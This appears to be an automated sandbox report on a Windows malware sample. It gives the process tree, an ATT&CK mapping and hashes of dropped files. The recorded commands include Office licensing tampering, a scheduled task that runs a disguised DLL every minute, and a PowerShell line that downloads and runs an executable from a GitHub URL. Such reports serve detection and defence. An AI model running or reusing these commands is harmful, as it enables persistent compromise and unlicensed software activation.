C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "85dd8b5f-eaa4-4af3-a628-cce9e77c9a03"3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663\85dd8b5f-eaa4-4af3-a628-cce9e77c9a03" /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\OEM" /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\OEM" /f /reg:323⤵
-
-
C:\Windows\system32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /f3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03' call Activate3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get GracePeriodRemaining /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get GracePeriodRemaining /value4⤵
-
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableDnsPublishing3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching3⤵
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\net.exenet stop sppsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sppsvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$t.DefinePInvokeMethod('SLpTriggerServiceWorker', 'sppc.dll', 22, 1, [Int32], @([UInt32], [IntPtr], [String], [UInt32]), 1, 3); [void]$t.CreateType()::SLpTriggerServiceWorker(0, 0, 'reeval', 0);"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /configure C:\Users\Admin\AppData\Local\Temp\configuration-Office365-x64.xml2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\setup.exesetup.exe RELAUNCHED /configure C:\Users\Admin\AppData\Local\Temp\configuration-Office365-x64.xml3⤵
- Checks computer location settings
- Executes dropped EXE
- Checks system information in the registry
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeOfficeClickToRun.exe platform=x64 culture=en-us productstoadd=O365ProPlusRetail.16_en-us_x-none|VisioProRetail.16_en-us_x-none cdnbaseurl=http://officecdn.microsoft.com/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60 baseurl=http://officecdn.microsoft.com/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60 version=16.0.18227.20162 mediatype=CDN sourcetype=CDN updatesenabled=False acceptalleulas=False displaylevel=True bitnessmigration=False deliverymechanism=492350f6-3a01-4f97-b9c0-c7c6ddf67d60 flt.useoutlookshareaddon=unknown flt.useofficehelperaddon=unknown flt.UseTeamsOnInstallConsumer=unknown flt.UseTeamsOnUpdateConsumer=unknown uninstallcentennial=True scenario=CLIENTUPDATE4⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeOfficeClickToRun.exe platform=x64 culture=en-us productstoadd=O365ProPlusRetail.16_en-us_x-none|VisioProRetail.16_en-us_x-none cdnbaseurl.16=http://officecdn.microsoft.com/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60 baseurl.16=http://officecdn.microsoft.com/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60 version.16=16.0.18227.20162 mediatype.16=CDN sourcetype.16=CDN updatesenabled.16=False acceptalleulas.16=False displaylevel=True bitnessmigration=False deliverymechanism=492350f6-3a01-4f97-b9c0-c7c6ddf67d60 flt.useoutlookshareaddon=unknown flt.useofficehelperaddon=unknown flt.UseTeamsOnInstallConsumer=unknown flt.UseTeamsOnUpdateConsumer=unknown uninstallcentennial=True4⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks system information in the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in Windows directory
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachineCoreUO" /tr "rundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-Webrequest 'https://raw.githubusercontent.com/zoneprohuub/WOC/main/VAN' -OutFile 'C:\Windows\Help\service\wininitt.exe'"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\Help\service\wininitt.exeC:\Windows\Help\service\wininitt.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\OutEnter.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks system information in the registry
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe" /progressandlaunch AppTargets="root\office16\excel.exe|root\office16\groove.exe|root\office16\lync.exe|root\office16\msaccess.exe|root\office16\mspub.exe|root\office16\onenote.exe|root\office16\outlook.exe|root\office16\powerpnt.exe|root\office16\teams.exe|root\office16\visio.exe|root\office16\winword.exe" ManualUpgrade=False ScenarioToTrack="Scenario:{477E0208-58BD-4F33-978A-09BCC9AA9EB1}@INSTALL"1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks system information in the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
106B
MD5f20ca168d96597e16438d7571d05e4b9
SHA1d0bf489e0cf17d6e2ba820d108d2be41602b6ebb
SHA256adc62639bf9d8fa17cce69bb8d5eebcfec294b06e8e28855b445a3fdd27c8693
SHA5125178baa9ef0870868e4c0a4c2055d974ee5a57bb46fdac108cbe5589797a90c38f7a71b3b0d7d0ed3e1c8e77973746c4a92b5a002ac7edcf7e24a78e4b9b672e
-
Filesize
30KB
MD5bbbc242d5ef44466a439acd7e57bf849
SHA1a65d892a17a6720e89f58332954f974376feedfb
SHA2564a34f03a3be8de021b4f1b6b9b8c7c44e2dc4b0ca329c989df247abba397f857
SHA512d093331656f3468ad08ed127270987d6481141c01e685879b690f0a4d62adb982b6aa96a2516db7e438ae3700935c5aca410152147d36a4cc018eed9aa026b58
-
Filesize
5.1MB
MD52e108a2aaf9c10317207c79c9841619d
SHA18b09977672fb736fa487a00666dff86f19db8495
SHA2567752a376b862d9e6532f8d6cc2f41860d74707f1a7f1cdb5b34f11665658b0e7
SHA51221f75957451c9deeebdd881375728f263d856c84922c171abb42d5bfab51d6541e1d1c8a2c27177c348c3ee43ea1f626e7b63cbc1f4f4eb8c3d0071fc2e0bde8
-
Filesize
40KB
MD5e782c82594aeadd0bd65921331f209fb
SHA1ae082332bf92620d43d342fb4c745655999e96c7
SHA2563593bf3c92f0d1cb13a22da0ff806f324e5d7e0688b4bb934ff073c91874b707
SHA512d4278bc30e02a397c23e95f7d0f09cc9e046d361af30197375b8dfdeacc719289865c432ceaaa2606ccb34b4bc29fb3ca838fe6ae070bdc2f8ef9f9e389043cf
-
Filesize
76KB
MD5172082e03f0b5ce8d700402166848a91
SHA1b463eae3299346736aa4203bf75a5e9f48818ac1
SHA25657564b9eff090632c825452a875d91f85d2b8257b1036ebe0259df601c9f99e1
SHA512af8a1902b246be37af4ee2178fb8b8e901dda8e63f9776baa8ea530fa9271dd3f1f7072cbfea449c9653a11e66fa9775666d009daf899435059a9b2b887ea828
-
Filesize
35KB
MD557164aaa5b847baf9f0739d69d4f0da6
SHA18d061beb28fb7c5f9423931d1c11c26b066e8d27
SHA256cda3a18987f6e251d04cd3d6e78a47a7fe7b38937febc4461dbea79be4c9c107
SHA5127cd9af27748e90c6b121c06e2c6994a80e557c9b108dc1aead981679464968395e2aef967c4964b7be41859735e16503facadbbd90d0c3e0ad48a13e3a01e3cf
-
Filesize
128B
MD522384f6f9628edbe6901156453ce3ff3
SHA1396eb84c7133b134b1d565d0b72083b57c2d7af7
SHA2563f5149dc507950d2c5c2c1c7c3fbe0121f4e89812e082a0538e38d9e0c381f97
SHA512dee480d1e19e41fff032dcf646878f68ea418bcec059a28df45e085582e2131fa6a27d35fa32715218552c629488bcc4082462deaf5875ad02e7b885204ca95d
-
Filesize
23KB
MD521d5ce33525134b285e6b330fb29558a
SHA104d0caffa0a111bc1e6059465ce2bd4d25d11a0a
SHA2561dfe36baa1db8e1f14e37cae0a190c38c81e91182de49f564edc25d5f2067368
SHA5129cbdeb9f124c0a108b1bc14d755ad800e14e89e7dd841c2bcda07c037090455065f1bb3e4e5c5b5d7a974f2c17a7fff78ac72f4d31c392241ee3a5f9b882d302
-
Filesize
128B
MD5348f8dc75dd989b3732e03d0d1c09345
SHA174ddc8815397b10ba3e081aaf4356265081fe5e8
SHA2568021c4f1352023509c03118fcdb1441ff8dc95cb79e0fe316e8d6592af89c2a6
SHA5121f68b0258bb6d76ca610bfc1564af41a586407970da3df0334049c52a8b9884f54ef5f45b5c04928088200cb24f84dbea9550f5e9e2884eff781c775035d2316
-
Filesize
15KB
MD5dc48151d618af3b9dfa8ba2774cdf035
SHA1c2227a97e600ac7021abdd350ced02bca223f17b
SHA256752ef9d18c2874958b10593eadd2400a273b29220cbc841a3e7daf888501048b
SHA512728594f88b91ced56a467ef9b2ca5961668a6c5208f6c1443e2bf9e5b8f8565382cd8eb63f1d4d8f7449788346c2eb2d4a5f067aa22a00b5bd3ef50cd61b5071
-
Filesize
40KB
MD57448ef39a79b0ff8438091370feeebea
SHA1de8736c38ccfd48fcf4ec68f19095a0fdfd4b4c7
SHA2562d68aa1c6fb8e3cf46c5e4e10dcf8bb4931fe78a36959084a51783c256eae919
SHA512c260905cd10d4bf914dfc78932d5a76112b608f9c81715d75a3d3dfecd5020c32e03b2906a610e94c821a35f6792a3bbcbf6137af8e3c770534135efd7ce1669
-
Filesize
689KB
MD5fc2bd96e94b1b9d8c7a8ae7824e5bcbc
SHA1441dbc64b77862bdffaf952761ac3f3551f344a0
SHA2567f0ad3c727c2933e567694950258f375aa99f91d491e280967e87488b15640b8
SHA51282d8788cb7eebf1c98985e17aa5a04d6bee57280460dd3549b7fa1c18a227ce7091d279dcd0c24050dd27097d951eee4e6b945d96140a31aa04d523743380530
-
Filesize
471B
MD50810ce4a9d0ed56c3c026a3fe00db494
SHA1decc798e3724bac2787729228876d271e6ea436f
SHA256444b65a82933350c6ff041c5cc2de824befd1a46df3aee1d9e89a4b359472fe3
SHA5129333e484ffa20f5d77944f9b549c12fa3e4593182e78265f496b28f991bff98f5408eccf157047a6ba639bbc9b1c63a15d7668fc38df06166cafc71afc28bd7e
-
Filesize
412B
MD512abbc5b88c741eef3e402037ed76d60
SHA17e41f08ad97c01521f379cb421ec1e6995266b86
SHA256700c974d1de8d08218b991ed31b096ddf2cc8c0ed7328f672027a86913a9eb4b
SHA512231233795f5fe2dafa5afa5b687ca94ac17331d179961bb342b6f0727b823b761759cbdeeaf187a5c6063ed1d8a598bc014997e4e4beefbf14fddb6444e8de03
-
Filesize
649B
MD54cb0c4dbe05a5c283bac5f9195a6e60b
SHA1efabd7aa30015d364da302c014582a7f46d6be87
SHA256521a4728ac1d85016154e87aa8aa75e0c6ac8d5fdd463e29b5fd6864bf63ab86
SHA5123e8dc40f5e105641cb585a30d0f39f1bb1be3db3adfcf7f778bca68f1117f5c4910fe4481e7c06d36ec5265ad302abf4a54957e42da240635a8c3d79062b5439
-
Filesize
2KB
MD5cb948b4305de13f413fdd0ea62f399a3
SHA179bc5c97348cc33616a0425eef672841601415e6
SHA25633c7a34bd15401be02893e60a86ae7bf123700311013e8ece6939a6e0bb0e75a
SHA512886b54daf9b5a8ca5c1bd3af31fb84df3b6efd6fa9f05c749a128ad6b6ef549b4b90ea65b1732d8cecd220c88caf27291a4a8ab26eaadd0e1e90aef2d8c9a267
-
Filesize
1KB
MD59fcee179a46244c72eb53bd17f03781b
SHA169bcbf256e10100ef01408119362f000f64901c5
SHA25665998d57ddd57ff9f6925316fcda3600914b2fa17d718d8945f5b8defa6ca51b
SHA512c1dbd3e3029b103e95dad976fbb0a3a326190f83d37b2278b9aca51f2664ddcb4bd2983716d6aa0e8256ea7344b111f0b0f05889a27f4f538b3d184b0052a6ad
-
Filesize
2B
MD5d751713988987e9331980363e24189ce
SHA197d170e1550eee4afc0af065b78cda302a97674c
SHA2564f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
-
Filesize
9KB
MD50bf9c8f08be75288b1250022845bf230
SHA167c68e1b2b766b2bfc8cee90bc17b1a184d9d4d2
SHA256da616a748f9de3d310c47188babaa1927520380decca90e8ea8afa72847aafe0
SHA5123adee21c2d1fd0dc31be0d034ecb8d08694c3c08a509057ed9fc0198230952a687f425a04138c91a4d11a4c37572edce36c0435ae2b8428cf76c22b07284cb15
-
Filesize
9KB
MD5cc8004176f4bf52ba77ddb2504965b5d
SHA1b4508b8950bb235b67715e14ca6c57655b681ada
SHA2566102f7f61858a5a1e996a51abc8d2fbf05a8eb02423895bbe77025901fc5ec8e
SHA5121937fa702fa9dc7d5c4d102097b1080e5f82e1373e30629e7f9c964102763794ee4d79817e2aef7e48fa7a8bfb4932f434c456effb853fccb3b51669f7917aab
-
Filesize
9KB
MD5e44a82a01dde6dc9b1bc8ff17bc324a2
SHA1389c3522815c2994c23a0e3ca5919a85fdec8005
SHA2567730952e5fb89861e5ba9082a3567d1fd420ba370c96ca5898cd487b8aabbeca
SHA5123a31a4251cdf93ced80d503a113f89d8da2e59b19e1878e409d58f203adb3dc75830e3d20a0126a10fda2a8fb260eb76d17dca9b56b91e71a800d92bb4ad5655
-
Filesize
9KB
MD5003a218f1e173c9e1dcbaa09a2461683
SHA18e506a06a30ea51e614453db8ffc26bff84f5e4f
SHA256257c0d4aa4a535cc6a44cd9937a9071ec9a6872d98e55186b5467db2870624c0
SHA51274e6866680e89249861ed337fe7b861a21c52c256c2c5e343e01c536ceb07b0358d6dac03a84157ea144237793e558bed4ac2cdede5b00a1410452e4fb344a69
-
Filesize
9KB
MD5556a32c6b829e623c719a9f86b7208a2
SHA15d343d023c559e7c8e360f95bd6a9fdde6cd6d84
SHA2563579dbb1eb3c5d489597cbc33851b79c7479ba91199298ca9eca67214fb9dff8
SHA512b87d882a2e89a53c008426999106031e20b1cdb041ca151b505db26c2c5824f43dafa7c5b17cac0c6d19af363f41020076111de4a80bb3730b7509f2ccc504b7
-
Filesize
116KB
MD57c9c0c7b85e2f7c7597b080c9770e517
SHA17d6e3cf3bd7db2dbc0c20059ca6877507f2444c8
SHA2569c2267216a1e599905c140cd6cb6a16286e211b9008387ab956551ce6162c984
SHA51236acc64f4e74357facd061099fa7ad0e0a76288ca93a978f1e19068250f2f0b2969fcd47be4db4d9600082cd8f471d5ee1fb4494a1d899c045282fbf5fae08c7
-
Filesize
116KB
MD58bdd235426d1b82acfd12108a5eecfb7
SHA14210183a56eae6f907f8a474b8aabf245e45b83c
SHA256e70d49e2a38dd76f37f4376afde66ed3542f6c9b639dc1ace19c66bf6722eb81
SHA5126f3ee4177f8474b6be814fc50b9ad3a11b4ee5b52738ab652c5d7c14328424af639109d5bdbbcf67e21af4882510ae4dc33a846dd961758e8cef32c70ff8d290
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
-
Filesize
64B
MD59c77e532817901e896dfaf6a0230337c
SHA17e02f7a5ddbaeac9dfcaa6ba8ebee186b00366f2
SHA2569490dc0dbb6ce6c3692204e29c24681ff94458e0bcc9f5e65fcc76f4b184bfde
SHA512e0841e03a78a2b0403697206f11d7a1f9d7c786eb886ec85ff78cf620ccd6034be47d7522f3006151adce368549777f1f821338aff586473d50b15026a579c2c
-
Filesize
944B
MD596ff1ee586a153b4e7ce8661cabc0442
SHA1140d4ff1840cb40601489f3826954386af612136
SHA2560673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8
SHA5123404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569
-
Filesize
1KB
MD54132391f0027d6b064c664bf0e4a2ffa
SHA19cb8b8f38c30b418f4f77013906ad0dde5e349de
SHA2563341b368a0a05d55feefb292e167bc718acfa6f80dbf7e2bea1bb64943338e2c
SHA512884043147283a79234ea8a24b709a630ceea2597fd73a4f736bfa119e4cace58d7603b49dcba286b185cb2bd8afebe97584679eac095f8cf34d70f1b726514d7
-
Filesize
1KB
MD53bc3d3f73fc81d9d1a8a4b17192aa35a
SHA1d017d278395183edb0db4a301dacc57285d59a5c
SHA256934a29e6c90140621824a91cd5d60a3c42a62207ad3fa4d6581ad2a6310cf614
SHA512bf8c596f6c109bd6d932696c65c46f054033ffd3e39433ac69a3d6e91a0c28dfd73ca5a75a206ac1707a2b6cb57ba2b44ee8fadca2aad584439f280617d42134
-
Filesize
1KB
MD5ada0175ee05b522949d43898a586f0e4
SHA17d4b4bb2715dd2300bec347bb7848f210cd7f3d8
SHA256779dea62665161af512d6d771487c37ac2112f4b6284d6bbf4c1c92fd3ea7a9b
SHA512f60e0971d540f2f7d9df3bee814321aee4f8ded2ff2bd32b9d6536845825ec509e44126e7864e9bb734a0b73facea6e429983ae4ce2d4757a0db92c39ad82c08
-
Filesize
944B
MD58857491a4a65a9a1d560c4705786a312
SHA14f3caf2ad5d66a2410c9cca0381d26a46e832cb4
SHA256b6e1a16a11075cb4e0bae0cebdb6ac15f5d66e0005f557703708a04cd11bd360
SHA512d9497c47898cdc4c4fc62158830dc931990e08bb4a28a5d19d4187a87a2afab8a4bd58ca346563210b476c9adb9a714bfe1057e0ebce85d1fd94731be6d02660
-
Filesize
1KB
MD5e89c193840c8fb53fc3de104b1c4b092
SHA18b41b6a392780e48cc33e673cf4412080c42981e
SHA256920b0533da0c372d9d48d36e09d752c369aec8f67c334e98940909bfcb6c0e6c
SHA512865667a22e741c738c62582f0f06ea4559bb63a1f0410065c6fb3da80667582697aba2e233e91068c02d9ab4fb5db282a681fe8234f4c77a5309b689a37ac3a2
-
Filesize
944B
MD5c2725ae3d241d846de6cbcd661b32aaf
SHA126381f5b9872f011e21da499eb50c467715e23da
SHA25635a882b070c9f98c728af00a387afd3b9473d550a661efce9b8b20b4ad0012df
SHA5126bcae1738dd58c115d713db3a667d3b027a416928036df8b66e397b35b046c9f86d03411cd088c3c056f744ab1e8ee0d97dd1dc5b1ebf0e3d1ccf367c55ee160
-
Filesize
944B
MD52ad33642f863ae14ee53bc6853ee330e
SHA1ca81cc7d8c33a46ebe97bc1d3db55e41a813029e
SHA25617c7b3c895766071a0d87318ec4134a9032ed113b46d3ba75889819a61a9cc19
SHA51252c59a7bde3751e07da53f3942c15cc3e19a4bf1929fbc28ae568ed96531852747b4f724e01438e159c4c98bf2d846db205c48e32f4b5984e9fddeb936eb8aa9
-
Filesize
1KB
MD5aa8efa56e1e40374bbd21e0e469dceb7
SHA133a592799d4898c6efdd29e132f2f76ec51dbc08
SHA25625eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf
SHA512ad6de575b83db36b239317e4c46a1eaeb0383d5909a12b69ee2b38798c2b5cb0d19b464f5689037501d20592d92c4d3d84f0e49fdb1c0648b6593481a183f096
-
Filesize
234KB
MD59eb229ceaae2ddbc8009828d5812ae26
SHA15036c3f1b0386331e7f93f5af94942a1156cc428
SHA25614ee194126bd0d40ee4f5ea8f11389885fe5e15769b7a2ab40038f25fbd66e3f
SHA51284cd04138193d3b4fb5c3ee7191d405d921e0764fc9a04d85cc0d8d752e12558295ff33c4e79f4f515caad280f5250fcf031081f1654be7efef3c75f7192cb5e
-
Filesize
1.9MB
MD5b17fa8b31d403faff9143c5bd2f4646e
SHA1b29a8088af11bae0048da6df0369cff72f8e302d
SHA25617cb112704b3f7cf70cc386e50a41304ad6508e95265c00e4ccc42aadc5454b1
SHA512f664cbf2916192e64521b4885e3d09f609af5742ded50adbfd58aa1d80b1fb2c3001c0f5e20b4609d74ad56ca2a23b9014a0260bd5b759c095c0f4de88333b5f
-
Filesize
29.8MB
MD523faddbc1d6f2a9ff02bf65832e86734
SHA1310aa1fbe5700d8fef51a53dde9fea64c1cf5649
SHA256ed314bf683ddd49a0134456c408ae282a1f672aac875d2a71cd29465686ee56b
SHA5121758a6f8e1fe1f8f82609773bb2243649e7f954484337edcfa06574c9c772c4fcd3feff8471d4c4755e1bb37572585c55b38063df178d2feb6440d1fbb499a64
-
Filesize
25KB
MD57ddd690928fc450e0ce8e29f7280d2fd
SHA11a93a2257229010c0bee430a96e3ccd826162d0f
SHA2568fbcf82422de6a3e9c947e291a4b1e6578df5be7c6f76dbad10f2addf18f5c0d
SHA5128a61caf182f2d95886238a2f4a3722b6a77b656c5c18eac6364de952fcd0c5ac7a86f318790a982e4549be8590874198d1adc90f6c3c4c3299fe41ccb24759e5
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
305KB
MD5c7fa98166c86c062185281254a80e1db
SHA12d5490cba217abd4738cd3e4cb25b6d7a49268f2
SHA25697f8ea7eb91644e72a81a38e1de496b7a08bc6eaac4460d7749614318dc9eb01
SHA512d12b56254e240b8b9e7167bc1cd5f411d77ee578b2d976dafbddfd99bf631f86a247323b9cee3d901b9e83af81384644b3a905bdbda7d57ec419b2f6d4096828
-
Filesize
91B
MD52b3d27d6d20d040035ee8fdf51ed2b56
SHA19229217082089eb708bd2047355ad20c27bbdf5b
SHA2566ce0f047f50055fc2013429af21fde6917ce50087c1926e5b3de395a5ec86b1f
SHA512869a4a73c0ceb85cac12b0086837ed177cfbbb992febfef10b087c4516c03087d9f5d705a5cd40e398710884f836fa6d6925f4f4574513b2ab788b7f96e73905
-
Filesize
7.2MB
MD513199a06f646dd1e82d9a6e2dfde62e3
SHA13847f7be74be45066c493b7b71c52d50649f8fa0
SHA256d6f6fd3fe8eba8ccee31a270ba3fc6b6a7a1de58f4c9b45f40a9f322a84f8b1f
SHA51293f3da9560bdfc21256741c06974dff81b34cafda0d33a7b13c82f6339c6307a37583f7cfaeb00a592546afdcd7f021cfcb4baa9433081dfbe99c822ee0be50f
-
Filesize
176B
MD5ed3317ee8e49a651a7ce44027c8ad5e4
SHA140dd10ae7d422984a8db5feb5ee1d4b32f54399b
SHA256fc58a896afc1601117e1be7b1400fb20577ebe87a5b7e8d66dca978db9a549d6
SHA512301db454072fb8766863777cd34b404f83e9f26dce24b46b17f9833b5920be7ae570f02845bbe916d5489c6b32b254a5cd92b7429dc9c773aa7e442683f184bf
-
Filesize
226B
MD529083ae3d1531fd735aafd2e4b8d79ae
SHA172fb8a243e5e4af7b63bd4bfee65f61198b0afaa
SHA256ba30f4c4dfe6ff55d1f355caea17bcdc749f9513c82f7b900431f071df620805
SHA51234acbdb697648c8485e73ec22181cd9624477fad7c1e854998377860778568bdee0be17d7f22dd45a7ff295d5f80ca31b77e9323d27350f99a5c56adbf5254e9
-
Filesize
67B
MD5f7419c9ac642601aaeedd9158f842ebd
SHA180a6b55d509fb3e461c7a0ec21bf80714f726cd6
SHA25653993ee5891ab201b7b2dba52f80001e813a9db7d8c95866428367e5dc2c958a
SHA51245502693f4e48ed03d64735bd01b61fd5ff71e7ac3fb5129e2022b46dac1d868fc1c4e969ef5a267160147afc7c5becb5b6674de820a05caad86b7889736db46
-
Filesize
169B
MD536dc5034ea3d97d46e1d26fa9be73661
SHA1373ca9b7bd6a401e1587ec69967ed348337c1d22
SHA256b6862ed615b7e3076a95d5be7ddda66d08814d0188ae70f8b9a8e1e826ea26ea
SHA5126ec484c3a3a4f4e6b9e4af603527c8b67c9595c82ef1afb32de1fc2b99b95513e349da17157e6b96401ba7e8af65b2efd225d48a4ee59dfdc3cd25837394db24
-
Filesize
6.6MB
MD5e253ab21be919bdfd32f05dac803ef40
SHA1f4cb39845147f06103a99a6821aeeac5162c2c48
SHA256b8544c8ad8244b59c05160693272ca52afdeaf306b44217e2e674118b3063640
SHA51212d5a12a4a919ea2be291690456871bcf9f8cdbe891be6f31dbf0de2a3a1258633f82153f894631882720e9f640cece3558b0fd155f93eaa313d9888be56fbf9
-
Filesize
1.9MB
MD5bcc0fe2b28edd2da651388f84599059b
SHA144d7756708aafa08730ca9dbdc01091790940a4f
SHA256c6264665a882e73eb2262a74fea2c29b1921a9af33180126325fb67a851310ef
SHA5123bfc3d27c095dde988f779021d0479c8c1de80a404454813c6cae663e3fe63dc636bffa7de1094e18594c9d608fa7420a0651509544722f2a00288f0b7719cc8
-
Filesize
6.0MB
MD5e66223c941f400f9734f1ca7d010ebbe
SHA12e87c16a20171465c50025c0092b7185048aac45
